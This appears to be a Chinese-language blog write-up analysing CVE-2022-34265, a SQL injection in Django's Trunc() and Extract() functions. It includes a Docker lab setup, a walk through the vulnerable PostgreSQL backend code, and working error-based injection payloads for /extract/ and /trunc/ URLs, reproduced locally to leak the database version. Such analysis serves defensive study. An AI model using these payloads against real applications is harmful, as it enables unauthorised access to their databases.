漏洞介绍

Django是一个基于Python的开源Web应用框架。CVE-2022-34265是一个SQL注入漏洞,攻击者可以通过传递恶意数据作为kind/lookup_name的值,如果应用程序在将这些参数传递给Trunc() 和 Extract() 数据库函数(日期函数)之前没有经过输入过滤或转义,则容易受到SQL注入攻击。

漏洞范围

Django主分支

Django 4.1(测试中)

Django 4.0版本:< 4.0.6

Django 3.2版本:< 3.2.14

漏洞靶场

aeyesec/CVE-2022-34265: PoC for CVE-2022-34265 (Django) (github.com)

使用该项目的环境

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
version: "2.1"

services:

v4_0_5:
container_name: CVE_2022_34265_v4.0.5
build: ./
ports:
- 4131:8000
depends_on:
postgres:
condition: service_healthy
command: bash -c "python3 manage.py makemigrations && python3 manage.py migrate && python3 manage.py runserver 0.0.0.0:8000"

postgres:
image: postgres:latest
restart: always
environment:
POSTGRES_USER: vuln
POSTGRES_PASSWORD: vuln
PGPASSWORD: vuln
POSTGRES_DB: vuln
TZ: "Asia/Tokyo"
PGPORT: 5433
healthcheck:
test: ["CMD-SHELL", "pg_isready"]
interval: 10s
timeout: 5s
retries: 5


Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
FROM python:3.9

RUN apt-get update -y
RUN apt-get install libpq-dev -y

RUN pip3 install django==4.0.5
RUN pip3 install psycopg2==2.8.6
RUN django-admin startproject app
WORKDIR /app

RUN python3 manage.py startapp vuln

COPY settings.py app/settings.py
COPY models.py vuln/models.py
COPY views.py vuln/views.py
COPY urls.py app/urls.py

EXPOSE 8000

漏洞原理

首先明确可控的参数,在漏洞详情中有提到过 Extract 中的 lookup_name 和 Trunc 中的 kind 这两个参数,这俩在调试过程中发现其实就是 lookup_type

因为具体过程比较复杂,在省略了一系列包括使用 F() 对象生成 sql 表达式、查找子类等等过程后,笔者总结形成 sql 的过程大致如下:

django\db\models\functions\datetime.py -> class Extract / (class Trunc -> class TruncBase)

django\db\models\functions\datetime.py#L41-L114, L335-L351, L219-L331

django\db\models\query.py ->class QuerySet

django\db\models\query.py#L213

Django 中对数据库的所有查询以及更新交互都是通过 QuerySet 来完成的,本质上是一个懒加载的对象,在内部,创建、过滤、切片和传递一个 QuerySet 不会真实操作数据库,在对查询集提交之前,不会发生任何实际的数据库操作。

django\db\models\functions\datetime.py -> as_sql

django\db\models\functions\datetime.py#L53-L75

as_sql 用于生成数据库函数的 SQL 片段,而针对 Oracle 后端数据库调用的是 as_oracle

django\db\models\sql\compiler.py -> class SQLCompile -> compile

django\db\models\sql\compiler.py#L491-L497

compile 为每个表达式生成 sql,并将结果用逗号连接起来,然后在模板中填入数据,并返回 sql 和参数。

django\db\models\lookups.py -> Lookup

django\db\models\lookups.py#L20-L186

最后笔者发现可以通过 django\db\backends\ [数据库] \operations.py (就是环境搭建部分 DATABASESENGINE 对应的配置)中的 datetime_extract_sql 以及 datetime_trunc_sql 方法对于 lookup_type 这个参数的处理来判断是否存在漏洞。

django\db\backends\ postgresql \operations.py#L89-L96

以下调试部分都基于上面总结的过程来进行分析。

PostgreSQL

1
2
3
4
5
6
7
8
def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)

def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
# https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC
return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)

django\db\backends\ postgresql \operations.py#L89-L96

date_extract_sql

1
2
3
4
5
def date_extract_sql(self, lookup_type, field_name):
...
else:
# 进入这个分支
return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)

django\db\backends\ postgresql \operations.py#L49-L59

Extract 的 sql 语句:

img

调试获取到的 sql 语句如下:

1
EXTRACT('year' FROM "vulmodel_experiment"."start_datetime" AT TIME ZONE 'UTC')

Trunc 的 sql 语句:

img

1
2
3
DATE_TRUNC('year', "vulmodel_experiment"."start_datetime");
-- 查询语句如下
SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE ("vulmodel_experiment"."start_datetime")::date = (DATE_TRUNC('year', "vulmodel_experiment"."start_datetime"))

由上构造 payload:

1
2
/extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +

报错注入如下:

img

因此 Extract 和 Trunc 在 PostgreSQL 中是存在漏洞的。

漏洞复现

payload为

1
2
/extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +

访问http://127.0.0.1:4131/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +

image-20250322201052028

报错回显中显示了数据库的版本

参考

https://xz.aliyun.com/news/11074

aeyesec/CVE-2022-34265: PoC for CVE-2022-34265 (Django) (github.com)